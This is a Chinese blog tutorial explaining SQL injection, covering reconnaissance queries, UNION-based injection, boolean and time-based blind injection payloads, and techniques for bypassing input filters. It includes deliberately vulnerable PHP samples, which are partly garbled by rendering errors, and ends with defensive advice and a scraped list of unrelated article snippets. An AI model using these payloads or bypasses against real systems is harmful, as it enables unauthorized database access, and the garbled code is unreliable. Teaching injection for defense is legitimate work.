【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解
前言
严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。
【点击此处即可获取282G网络安全零基础入门学习资源】
信息搜集
信息搜集在 SQL 注入攻击中扮演着重要的角色,它为攻击者提供了关键的目标数据库和应用程序信息,帮助攻击者更好地进行后续的攻击操作。
信息搜集主要包括以下几个方面:
1.识别和了解目标数据库:获取目标数据库的类型、版本、表结构、列名以及其他关键信息。
2.获取敏感信息:获取目标数据库中的敏感信息,如用户名、密码、用户权限、财务信息等。
3.发现漏洞和弱点:发现目标应用程序的漏洞和弱点,如不安全的输入验证、不当的错误处理机制等。
4.判断注入点和注入类型:确定目标应用程序存在的注入点,即用户输入数据直接或间接进入 SQL 语句的位置。同时,了解到目标应用程序的数据库交互方式(如直接构造 SQL 语句、使用存储过程等),从而选择最适合的注入类型和方法。
使用以下一些指令获取相关信息:
1.select version()
:获取数据库版本;
2.select user()
:获取数据库用户名;
3.select database()
:获取数据库名;
4.select @@datadir
:获取数据库路径;
5.select @@version_compile_os
:获取操作系统版本;
注入入门
基础注入
假设一个网站的部分源码如下所示:
$sql = “SELECT * FROM users where name='”;
$sql .= $_GET[“name”].“'”;
r e s u l t = m y s q l q u e r y ( result = mysql_query( result=mysqlquery(sql);
if (KaTeX parse error: Expected '}', got 'EOF' at end of input: …lt) { while (row = mysql_fetch_assoc( r e s u l t ) ) e c h o " < t r > " ; e c h o " < t d > " . result)) echo "<tr>"; echo "<td>". result))echo"<tr>";echo"<td>".row[‘id’].“”;
echo “”. r o w [ ′ n a m e ′ ] . " < / t d > " ; e c h o " < t d > " . row['name']."</td>"; echo "<td>". row[′name′]."</td>";echo"<td>".row[‘age’].“”;
echo “”;
}
echo “”;
那么我们根据其 SQL 语句 SELECT * FROM users where name=’ 进行正常查询时,可以发现不管有没有这个用户名 name,最终都会显示出结果,运行结果如下:
那么我们据此构造一些恶意语句,比如说使用 union 进行联合查询,使用 union 需要保证前后查询的字段数量保持一致,否则会报错,运行结果如下所示:
那么根据上述原理,我们可以匹配出网页源码中 SQL 语句里的 * 代表着 5 个字段,运行结果如下所示:
我们可以构造 SQL 收集一些信息,比如 admin union select version(),user(),database(),4,5–+,运行结果如下:
SQL 盲注
SQL 盲注是指在进行网络安全测试或攻击时,攻击者通过检测系统的响应来确定系统中存在的漏洞或薄弱点的一种方法。攻击者通常会发送特定的请求到目标系统,并观察系统的响应,如果响应的结果与预期不符,那么可能存在漏洞。通过不断尝试不同的请求和观察响应,攻击者可以逐步获得关于目标系统的信息,并利用这些信息进行进一步的攻击。
假设一个网站的部分源码如下所示:
$sql = “SELECT * FROM users ORDER BY
"; $sql = mysql_real_escape_string($_GET["order"])."
”;
r e s u l t = m y s q l q u e r y ( result = mysql_query( result=mysqlquery(sql);
接下来我们将采用布尔盲注和时间盲注的方式进行攻击。
布尔盲注
布尔盲注是指在进行 SQL 注入时,根据返回的结果是 True 或者是 False 来得到数据库中的相关信息。
由于网站源码是对 order by 进行了拼接,因此我们不能再使用 union 等方法进行注入,而且这里并没有报错输出,因此采用布尔盲注的方式,为了方便调试,接下来将以 BP 抓包的形式展现。
首先是正常的进行请求,运行结果如下:
接下来使用布尔盲注,因为上个例子已经知道数据库名是 exercises,因此这里就不做过多猜测,注入语句如下:
order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>100) THEN 0x6e616d65 ELSE 0x28 END))
解释一下上述的 SQL 语句,这句 SQL 的目的是通过判断数据库名的第一个字符的 ASCII 码值是否大于100(e 是101),来实现一个条件查询的排序。如果第一个字符的 ASCII 码值大于100,则按照字段名 name (0x6e616d65)升序排序,否则按照括号字符 ( (0x28)的 ASCII 码值来排序。
同时,这句 SQL 中使用了一些函数和技巧:
MID() 函数用于提取字符串的部分字符。
IFNULL() 函数用于判断数据库名是否为空,如果为空,则返回一个空格字符 “0x20”。
CAST() 函数用于将数据库名转换为 NCHAR 类型。
ORD() 函数用于获取一个字符的 ASCII 码值。
CASE WHEN 语句用于判断 ASCII 码值是否大于100。
运行结果:
推断数据库名的第二个字符的 SQL 语句如下:
order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>119) THEN 0x6e616d65 ELSE 0x28 END))
接下来以此类推就可以了。
时间盲注
除了布尔盲注之外,还存在其他的盲注方式,比如时间盲注。
时间盲注是指攻击者向目标应用程序发送恶意的请求时,如果存在时间盲注漏洞,应用程序可能会有不同的响应时间。
正常查询时,所需时间如下:
构造时间盲注的 SQL 语句:
order=age` and if(ascii(substr(database(),1,1))=101,sleep(1),1)–+
运行结果:
绕过方式
为了避免 SQL 注入攻击,应用程序会对输入数据进行适当的验证和过滤,而 hacker 会绞尽脑汁地想办法去进行绕过,以下是一些常见的绕过方式。
空格被过滤
1、使用 /xxx/ 行内注释或者 () 进行绕过:
SELECT/1/username,password/1/FROM/1/users;
SELECT(username),(password)FROM(users);
2、使用 %09 %0a %0b %0c %0d %a0 等不可见字符进行绕过:
%09:TAB 键(水平);
%0a:新建一行;
%0b:TAB 键(垂直);
%0c:新的一页;
%0d:return 功能;
%a0:空格;
假设一个网站的部分源码如下所示:
if (preg_match(‘/ /’, $_GET[“name”])) {
die(“ERROR NO SPACE”);
}
$sql = “SELECT * FROM users where name='”;
$sql .= $_GET[“name”].“'”;
r e s u l t = m y s q l q u e r y ( result = mysql_query( result=mysqlquery(sql);
如果是正常注入的话,会发现空格被过滤了,导致注入失败:
因此,我们需要使用不可见字符替换空格,下面将使用 %a0 进行替换:
引号被过滤
使用十六进制代替字符串,比如将 sidiot 的十六进制表示为 0x736964696f74:
SELECT username, password FROM users WHERE username=0x736964696f74
逗号被过滤
1、使用 from for 代替逗号:
#替换前
select substr(database(),1,1);
#替换后
select substr(database() from 1 for 1);
2、使用 join 代替逗号:
#替换前
select 1,2;
#替换后
select * from (select 1)a join (select 2)b;
3、使用 offset 代替逗号:
#替换前
select * from users limit 0,1;#替换后
select * from users limit 1 offset 0;
比较符号被过滤
1、用 like, rlike, regexp 代替 =:
select * from users where username like ‘sidiot’;
select * from users where username rlike ‘sidiot’;
select * from users where username regexp ‘sidiot’;
2、用 greatest()、least() 代替 <>:
#替换前
select * from users where id=1 and ascii(substr(database(),0,1))<64;
#替换后
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64;
select * from users where id=1 and least(ascii(substr(database(),1,1)),64)=64;
or/and/xor/not 被过滤
and = &&
or = ||
xor = |
not = !
常用函数被过滤
hex()、bin() = ascii()
sleep() = benchmark()
concat_ws() = group_concat()
mid()、substr() = substring()
@@user = user()
@@datadir = datadir()
后记
通过本文的讲解,我们对 SQL 注入漏洞有了更深入的理解。了解了信息搜集在 SQL 注入过程中的重要性,并学习了一些基础的入门注入技巧和常用的绕过注入方法。因此,我们要意识到 SQL 注入对系统安全造成的严重威胁,在设计和开发阶段就采取必要的安全措施,例如使用参数化查询和限制权限访问等,建立更安全的应用程序,并保护数据的安全性。
以上就是 SQL 注入漏洞之理论讲解 的所有内容了,希望本篇博文对大家有所帮助!
严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。
网络安全学习路线
对于零基础想入门网络安全的同学,我整理了一份网络安全学习资料给大家,包含成长路线、视频教程、工具安装包、网安面试题等资料。
需要的小伙伴点击此处即可获取
【以上资源点击此处即可无偿获取】
相关文章:

【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解
前言 严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。 【点击此处即可获…...
JavaScript中类的学习
一、JavaScript中的类 1.什么是类 类描述了一种代码的组织结构形式,不同的语言中对其实现形式各有差异。JavaScript中的类Class实际是一种描述对象之间引用关系的语法糖。 在Class语法糖出现之前,我们想重用一个功能模块,通常是用一个函数来…...

1600*A. Linova and Kingdom(DFS优先队列贪心)
Problem - 1336A - Codeforces Linova and Kingdom - 洛谷 解析: 开始认为分情况讨论 k 小于等于叶子结点和大于叶子结点的情况,然后选择深度最深的叶子结点和子孙数量最小的结点,但是发现如果把某一个非叶子结点选取,那么其子孙…...
gitlab git lfs的替代软件整理汇总及分析
文章目录 前言替代软件分析git-annexgit-fatgit-symgit-meida 总结 前言 git-lfs科普 Git LFS(Large File Storage)是一个Git扩展,用于管理大型文件。Git LFS通过将大型文件存储在Git仓库之外,从而加快了Git操作的速度。它使用指…...

IDEA 2023.2.2图文安装教程及下载
IDE 系列的第二个年度更新现已发布,涵盖 IntelliJ IDEA、WebStorm、PyCharm、DataGrip、GoLand、DataSpell 以及 All Products Pack 订阅中包含的其他工具。该版本还包括多项用户体验增强功能,例如 Search Everywhere(随处搜索)中…...

第六届“中国法研杯”司法人工智能挑战赛
解锁司法科技的未来 “中国法研杯”司法人工智能挑战赛(Legal AI Challenge,简称LAIC),是面向法院侧人工智能应用领域唯一权威比赛,大赛愿景是在拥有全球最大规模司法数据的中国,实现法律界、学术界、产业界…...

Springcloud中间件-----分布式搜索引擎 Elasticsearch
该笔记是根据黑马程序员的课来自己写了一遍的,b站有对应教程和资料 第一部分 第二部分 第三部分 预计看完跟着练习5小时足够 1.初识elasticsearch 1.1.了解ES 1.1.1.elasticsearch的作用 elasticsearch是一款非常强大的开源搜索引擎,具备非常多强大功能ÿ…...
基于深度学习的目标检测和语义分割:机器视觉中的最新进展
基于深度学习的目标检测和语义分割是机器视觉领域的两个重要任务,它们在图像处理、自动驾驶、医学影像分析和智能视频监控等应用中发挥着关键作用。以下是这两个领域的最新进展: 目标检测(Object Detection): 一阶段检…...

微信小程序报错request:fail -2:net::ERR_FAILED(生成中间证书)
微信小程序报错request:fail -2:net::ERR_FAILED-生成中间证书 前言一、检查网站ssl证书二、生成证书方法1.获取中间证书手动合并1.进入网站:[https://www.myssl.cn/tools/downloadchain.html](https://www.myssl.cn/tools/downloadchain.html)2.点击下一步3.手动合…...
Ubuntu更改时区
sudo apt install tzdata 进行安装时区,有很多时区可供选择。 然后执行:tzselect rootd75c94dcd226:/# date 2023年 10月 11日 星期三 06:25:12 UTC rootd75c94dcd226:/# tzselect Please identify a location so that time zone rules can be set correctly. Ple…...
0144 文件管理
目录 4.文件管理 4.1文件系统基础 4.2目录 4.3文件系统 部分习题 4.文件管理 4.1文件系统基础 4.2目录 4.3文件系统 部分习题 1.UNIX操作系统忠,输入/输出设备视为() A.普通文件 B.目录文件 C.索引文件 D.特殊文…...

python psutil库之——获取网络信息(网络接口信息、网络配置信息、以太网接口、ip信息、ip地址信息)
文章目录 使用Python psutil库获取网络信息安装psutil库获取网络连接信息查看所有网络连接过滤特定状态的连接 获取网络接口信息获取网络IO统计信息实例1实例2 总结 使用Python psutil库获取网络信息 Python的psutil库是一个跨平台库,能够方便地获取系统使用情况和…...

uniapp上echarts地图钻取
1: 预期效果 通过切换地图 , 实现地图的钻取效果 2: 实现原理以及核心方法/参数 一开始是想利用更换地图数据的形式进行地图钻取 , 这就意味着我们需要准备全国30多个省份的地图数据 , 由于一开始考虑需要适配小程序端 , 如此多的地图文件增加了程序的体积 , 如果使用接口调…...

scratch保护环境 2023年5月中国电子学会图形化编程 少儿编程 scratch编程等级考试一级真题和答案解析
目录 scratch保护环境 一、题目要求 1、准备工作 2、功能实现 二、案例分析...

RPC分布式网络通信框架项目
文章目录 对比单机聊天服务器、集群聊天服务器以及分布式聊天服务器RPC通信原理使用Protobuf做数据的序列化,相比较于json,有哪些优点?环境配置使用项目代码工程目录vscode远程开发Linux项目muduo网络库编程示例CMake构建项目集成编译环境Lin…...

Navicat如何连接远程服务器的MySQL
参考:https://blog.csdn.net/a648119398/article/details/122420906 1.Navicat for Mysql 2.腾讯云轻量级服务器一台(Centos 7) 3.Mysql 8.0.24(远程服务器内安装的) 4.Xshell7(连接操作远程服务器) 一、修…...

【计算机网络笔记】计算机网络的结构
系列文章目录 什么是计算机网络? 什么是网络协议? 文章目录 系列文章目录网络边缘接入网络数字用户线路 (DSL)电缆网络典型家庭网络的接入机构(企业)接入网络 (Ethernet)无线接入网络 网络核心Internet结构最后 计算机网络的结构…...

排序算法-插入排序法(InsertSort)
排序算法-插入排序法(InsertSort) 1、说明 插入排序法是将数组中的元素逐一与已排序好的数据进行比较,先将前两个元素排序好,再将第三个元素插入适当的位置,也就是说这三个元素仍然是已排序好的,接着将第…...

RuntimeError: “slow_conv2d_cpu“ not implemented for ‘Half‘
RuntimeError: “slow_conv2d_cpu” not implemented for ‘Half’ 背景 测试语音识别模型whisper时,出现上述错误!! 测试代码如下: import whispermodel whisper.load_model("base") # print(model)# load audio an…...

前端 | 前端工程化
文章目录 前端工程化1. Vue项目创建2. Vue项目目录结构3. vue项目开发 前端工程化 1. Vue项目创建 安装插件vue-cli npm install -g vue/cli命令行创建 Vue 项目 vue create vue-project(项目名称)图形化界面创建 VUe 项目 vue ui图形化界面如下: 选择功能&…...

网络六边形受到攻击
大家读完觉得有帮助记得关注和点赞!!! 抽象 现代智能交通系统 (ITS) 的一个关键要求是能够以安全、可靠和匿名的方式从互联车辆和移动设备收集地理参考数据。Nexagon 协议建立在 IETF 定位器/ID 分离协议 (…...

基于距离变化能量开销动态调整的WSN低功耗拓扑控制开销算法matlab仿真
目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.算法仿真参数 5.算法理论概述 6.参考文献 7.完整程序 1.程序功能描述 通过动态调整节点通信的能量开销,平衡网络负载,延长WSN生命周期。具体通过建立基于距离的能量消耗模型&am…...

如何在看板中体现优先级变化
在看板中有效体现优先级变化的关键措施包括:采用颜色或标签标识优先级、设置任务排序规则、使用独立的优先级列或泳道、结合自动化规则同步优先级变化、建立定期的优先级审查流程。其中,设置任务排序规则尤其重要,因为它让看板视觉上直观地体…...

STM32标准库-DMA直接存储器存取
文章目录 一、DMA1.1简介1.2存储器映像1.3DMA框图1.4DMA基本结构1.5DMA请求1.6数据宽度与对齐1.7数据转运DMA1.8ADC扫描模式DMA 二、数据转运DMA2.1接线图2.2代码2.3相关API 一、DMA 1.1简介 DMA(Direct Memory Access)直接存储器存取 DMA可以提供外设…...
在四层代理中还原真实客户端ngx_stream_realip_module
一、模块原理与价值 PROXY Protocol 回溯 第三方负载均衡(如 HAProxy、AWS NLB、阿里 SLB)发起上游连接时,将真实客户端 IP/Port 写入 PROXY Protocol v1/v2 头。Stream 层接收到头部后,ngx_stream_realip_module 从中提取原始信息…...
Python爬虫(二):爬虫完整流程
爬虫完整流程详解(7大核心步骤实战技巧) 一、爬虫完整工作流程 以下是爬虫开发的完整流程,我将结合具体技术点和实战经验展开说明: 1. 目标分析与前期准备 网站技术分析: 使用浏览器开发者工具(F12&…...

Unsafe Fileupload篇补充-木马的详细教程与木马分享(中国蚁剑方式)
在之前的皮卡丘靶场第九期Unsafe Fileupload篇中我们学习了木马的原理并且学了一个简单的木马文件 本期内容是为了更好的为大家解释木马(服务器方面的)的原理,连接,以及各种木马及连接工具的分享 文件木马:https://w…...
服务器--宝塔命令
一、宝塔面板安装命令 ⚠️ 必须使用 root 用户 或 sudo 权限执行! sudo su - 1. CentOS 系统: yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh2. Ubuntu / Debian 系统…...
智能AI电话机器人系统的识别能力现状与发展水平
一、引言 随着人工智能技术的飞速发展,AI电话机器人系统已经从简单的自动应答工具演变为具备复杂交互能力的智能助手。这类系统结合了语音识别、自然语言处理、情感计算和机器学习等多项前沿技术,在客户服务、营销推广、信息查询等领域发挥着越来越重要…...

力扣热题100 k个一组反转链表题解
题目: 代码: func reverseKGroup(head *ListNode, k int) *ListNode {cur : headfor i : 0; i < k; i {if cur nil {return head}cur cur.Next}newHead : reverse(head, cur)head.Next reverseKGroup(cur, k)return newHead }func reverse(start, end *ListNode) *ListN…...